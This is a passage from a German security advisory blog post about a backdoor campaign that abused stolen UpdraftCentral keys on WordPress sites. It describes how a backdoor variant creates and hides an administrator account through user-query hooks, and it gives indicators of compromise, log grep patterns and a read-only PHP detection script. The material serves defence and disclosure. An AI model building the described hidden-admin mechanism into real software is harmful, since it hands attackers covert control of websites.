.35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Der Modus <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> legt einen <strong>Administrator<\/strong> an (zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170@example.com<\/code> oder <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684@example.com<\/code>), der Modus <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> meldet den Besucher in diesem Konto an. Ohne <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> meldet es den Besucher als <strong>ersten vorhandenen Administrator der Website<\/strong> an.<\/li>\n<li>Die ID des angelegten Kontos speichert es in der Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>.<\/li>\n<li>Es versteckt das Konto: ein <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code>-Hook entfernt es aus der Benutzerliste, ein <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>-Filter senkt die Zahl der Administratoren um eins. Im Admin sehen Sie es also nicht.<\/li>\n<li>Es hat keine <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Bei der Deaktivierung l\u00f6scht es nur die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>SHA-256 von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li>Die Zustellung ist dieselbe wie bei der ersten Variante, Sondierung und danach <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, von der IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18.10. 23:39 UTC, render-helper-232b 19.10. 0:03 UTC).<\/li>\n<\/ul>\n<p>Der Administrator berichtet nicht von demselben Fehler wie bei der ersten Variante, gehen Sie also davon aus, dass diese funktioniert. Auf seinen Websites hat der Angreifer sie nicht benutzt: keine <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>-Option, kein Konto und keine fremde Sitzung.<\/p>\n<p>So finden Sie sie: Durchsuchen Sie die Plugin-Dateien nach \u201eImproves cron tasks efficiency\u201c oder \u201ekeep service accounts out of the main user list\u201c und pr\u00fcfen Sie die Benutzer direkt in der Tabelle <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_users<\/code>, nicht im Admin. Version 2 unseres Pr\u00fcfskripts erledigt beides. Suchen Sie im Access-Log nach Anfragen mit einem Parameter, dessen Name aus 12 Hex-Zeichen besteht:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep -E &#39;\\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<h2 id=\"was-tun-wenn-sie-sie-finden\">Was tun, wenn Sie sie finden<\/h2>\n<ol type=\"1\">\n<li>Falls noch nicht geschehen, entfernen Sie die UpdraftCentral-Verbindung wie unter \u201eWas Sie jetzt tun sollten\u201c beschrieben. Sonst kann der Angreifer eine reparierte Version der Hintert\u00fcr schicken.<\/li>\n<li>Deaktivieren Sie das Plugin und verschieben Sie es aus dem Web-Verzeichnis. Wenn Sie es als Beweis behalten wollen, l\u00f6schen Sie es nicht \u00fcber den Admin, denn <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> l\u00f6scht seine Optionen.<\/li>\n<li>L\u00f6schen Sie die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code>.<\/li>\n<li>Pr\u00fcfen Sie die Benutzer mit dem Pr\u00fcfskript unten. Hat die Hintert\u00fcr funktioniert, existiert also ihr Konto oder zeigt das Access-Log eine Anfrage mit ihrem Parameter, betrachten Sie die Website als vollst\u00e4ndig kompromittiert. Der Angreifer k\u00f6nnte weitere Plugins oder eine Webshell hochgeladen und Dateien oder die Datenbank ver\u00e4ndert haben. Stellen Sie die Website aus einem Backup von vor dem 17. Oktober wieder her, vergleichen Sie die Dateien mit einer sauberen Installation und gehen Sie alle Benutzer mit zus\u00e4tzlichen Berechtigungen durch.<\/li>\n<li>\u00c4ndern Sie die Administrator-Passw\u00f6rter und das Passwort des UpdraftCentral-Cloud-Kontos, beenden Sie alle angemeldeten Sitzungen und aktivieren Sie Zwei-Faktor-Authentifizierung.<\/li>\n<li>\u00dcberlegen Sie, ob Sie die Fernverwaltung \u00fcberhaupt brauchen. Wenn ja, legen Sie den Schl\u00fcssel unter einem Konto ohne das Recht an, Plugins zu installieren, sofern Sie das aus der Ferne nicht ben\u00f6tigen. Auf Website C hat genau dieser Zufall den Angriff gestoppt.<\/li>\n<\/ol>\n<h2 id=\"pr\u00fcfskript\">Pr\u00fcfskript<\/h2>\n<p>Das Skript pr\u00fcft f\u00fcnf Dinge: ob die Website mit UpdraftCentral verbunden ist, was die Website \u00fcber UpdraftCentral empfangen hat, ob die Verzeichnisse <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugins<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> Dateien der Hintert\u00fcr enthalten, ob ihre Optionen in der Datenbank stehen und ob ihr Konto existiert oder ein anderer Nicht-Administrator die Berechtigung <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> oder <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> hat. Version 2 erkennt auch die zweite Variante: Sie sucht ihre Dateien und die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, liest die Benutzer direkt aus der Datenbank, sodass das Verstecken nicht greift, und meldet Administratoren, die seit dem 17. Oktober angelegt wurden.<\/p>\n<p>Auf Website A gibt es nach dem Entfernen der Hintert\u00fcr aus:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Sie k\u00f6nnen das Skript auch direkt herunterladen:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 des Skripts: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0<\/code>. Der vollst\u00e4ndige Code:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n    if ( &#39;ALERT&#39; === $level ) $alerts++;\n    if ( &#39;WARN&#39; === $level ) $warnings++;\n    echo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n    foreach ( $keys as $id =&gt; $key ) {\n        $report( &#39;WARN&#39;, sprintf(\n            &#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n            $id,\n            isset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n            isset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n        ) );\n    }\n} else {\n    $report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n    $message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n    $agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n    $when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n    $ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n    if ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n        $log_hits++;\n    } elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n        $report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n        $log_hits++;\n    } elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n        $report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n        $log_hits++;\n    }\n}\nif ( ! $log_hits ) $report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins.\n$plugin_hits = 0;\nforeach ( array( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39;, WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ) as $pattern ) {\n    foreach ( (array) glob( $pattern ) as $file ) {\n        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n        $template = false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n            || false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n            || false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n            || ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n            || ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n        if ( $template ) {\n            $report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file&quot; );\n            $plugin_hits++;\n        }\n    }\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$options = $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$&#39;&quot; );\nforeach ( $options as $name ) $report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\/\/ The second variant stores the ID of its hidden administrator in &lt;slug&gt;_uid.\n$uids = $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$&#39;&quot; );\nforeach ( $uids as $o ) {\n    $u = ctype_digit( (string) $o-&gt;option_value ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n    $bad = $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email );\n    $report( $bad ? &#39;ALERT&#39; : &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} = {$o-&gt;option_value}&quot; . ( $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39; ) . ( $bad ? &#39;&#39; : &#39;. Check that a plugin you know uses it.&#39; ) );\n}\nif ( ! $options &amp;&amp; ! $uids ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant hides its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name = &#39;Site Tools&#39;&quot; ) as $user ) {\n    $report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;&quot; );\n    $flagged[ $user-&gt;ID ] = true;\n    $user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n    $user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n    $extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n    if ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n        $report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n        $user_hits++;\n    }\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n    echo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n    echo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n    echo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"warum-wir-sofort-ver\u00f6ffentlichen\">Warum wir sofort ver\u00f6ffentlichen<\/h2>\n<p>Responsible Disclosure bedeutet, dem Hersteller Zeit f\u00fcr eine Korrektur zu geben und Details erst danach zu ver\u00f6ffentlichen. Daf\u00fcr gibt es hier leider keinen Grund. Der Angreifer verbreitet Hintert\u00fcren bereits aktiv in WordPress-Installationen, und ein Fix des Herstellers hilft den Betreibern nicht, solange der Angreifer g\u00fcltige Schl\u00fcssel hat. Der einzige wirksame Schutz ist, die UpdraftCentral-Verbindung zu entfernen und die Website zu pr\u00fcfen, und das kann jeder Administrator sofort tun.<\/p>\n<p>Die Ver\u00f6ffentlichung hilft dem Angreifer nicht. Er braucht g\u00fcltige Schl\u00fcssel, die er bereits hat, und nichts in diesem Artikel gibt ihm einen neuen Angriffsweg. Den Verteidigern gibt sie dagegen eine Anleitung zum Schutz. Die Hintert\u00fcr stammt zudem aus einem Generator, der f\u00fcr jede Website andere Namen, Tokens und Passw\u00f6rter erzeugt, was auf ein Werkzeug f\u00fcr eine gro\u00dfe Zahl von Websites hindeutet. Jede Stunde Warten gibt dem Angreifer Zeit f\u00fcr weitere Websites.<\/p>\n<h2 id=\"kommunikation-mit-dem-hersteller-und-sicherheitsfirmen\">Kommunikation mit dem Hersteller und Sicherheitsfirmen<\/h2>\n<ul>\n<li>19.10.2026: Meldung an TeamUpdraft \u00fcber das Premium-Support-Formular, mit Logs und einer Analyse von Website A<\/li>\n<li>19.10.2026: Nachtrag zu den Angriffen auf die Websites B und C, die zweite Probe und ein Vergleich des User-Agents mit dem echten Dashboard<\/li>\n<li>19.10.2026: Wordfence und Patchstack informiert, damit sie eine Erkennung erg\u00e4nzen und weitere Betreiber warnen k\u00f6nnen<\/li>\n<li>19.10.2026: TeamUpdraft ver\u00f6ffentlichte eine <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">Stellungnahme zum Sicherheitsvorfall<\/a> und best\u00e4tigte den Zugriff auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel<\/li>\n<li>19.10.2026: In seiner Antwort auf unsere Meldung best\u00e4tigte TeamUpdraft, dass es die UpdraftCentral-Schl\u00fcssel als kompromittiert betrachtet, und bittet alle UpdraftCentral-Kunden, jede Website zu trennen und zu pr\u00fcfen. Die Notfallversion von UpdraftPlus war bei Redaktionsschluss noch nicht erschienen (aktuell ist 1.26.11 vom 16.10.).<\/li>\n<li>19.10.2026: Patchstack ver\u00f6ffentlichte <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">eine eigene Analyse<\/a> und best\u00e4tigte beide IP-Adressen des Angreifers. Wordfence und Patchstack baten um Proben.<\/li>\n<\/ul>\n<p>Wenn Sie einen \u00e4hnlichen Angriff beobachtet haben, schreiben Sie uns an info@nethemba.com. Proben und weiteres technisches Material stellen wir dem Hersteller und Sicherheitsteams auf Anfrage zur Verf\u00fcgung.<\/p>\n<h2 id=\"aktualisierungen\">Aktualisierungen<\/h2>\n<ul>\n<li>19.10.2026: Erstver\u00f6ffentlichung.<\/li>\n<li>19.10.2026: Hinweis, dass das UpdraftCentral-Log nur 50 Ereignisse speichert, plus Pr\u00fcfung des Access-Logs; Empfehlung, die Verbindung nicht neu anzulegen; Vorgehen bei vollst\u00e4ndig kompromittierten Websites; Pr\u00e4zisierung der von CVE-2026-10795 betroffenen Versionen.<\/li>\n<li>19.10.2026: Stellungnahme des Herstellers erg\u00e4nzt, der den Abfluss der Schl\u00fcssel von teamupdraft.com best\u00e4tigt hat; Empfehlungen, Fix und Umfang aktualisiert.<\/li>\n<li>19.10.2026 (abends): zweite Variante mit verstecktem Administrator, weitere Proben der ersten Variante, zweite IP-Adresse, Link zur Analyse von Patchstack, Pr\u00fcfskript Version 2.<\/li>\n<li>19.10.2026: direkte Antwort des Herstellers auf unsere Meldung erg\u00e4nzt.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>In der Nacht zum 19. Oktober 2026 missbrauchte ein Angreifer UpdraftCentral, den Fernverwaltungsdienst des Backup-Plugins UpdraftPlus mit \u00fcber 4 Millionen Installationen, und installierte auf zwei unserer drei Websites eine Hintert\u00fcr. Unsere Websites waren vollst\u00e4ndig aktuell, der Fehler lag nicht bei uns: Der Angreifer signierte seine Befehle mit g\u00fcltigen Schl\u00fcsseln, die der Dienst UpdraftCentral Cloud erzeugt und verwahrt. Wir ver\u00f6ffentlichen eine Analyse der Hintert\u00fcr, Indikatoren einer Kompromittierung und eine Anleitung zur Pr\u00fcfung eigener Websites. Der Hersteller best\u00e4tigte sp\u00e4ter, dass der Angreifer die Kundendatenbank von teamupdraft.com einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel erbeutet hat.<\/p>\n","protected":false},"author":2,"featured_media":9615,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[2918],"tags":[],"class_list":["post-9628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog-de"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba<\/title>\n<meta name=\"description\" content=\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites - Nethemba\" \/>\n<meta property=\"og:description\" content=\"Angreifer nutzte UpdraftCentral-Schl\u00fcssel (UpdraftPlus, 4+ Mio. Installationen) f\u00fcr eine Hintert\u00fcr in WordPress. Analyse, IOCs und Pr\u00fcfanleitung.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-19T15:03:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-de.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"30\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol 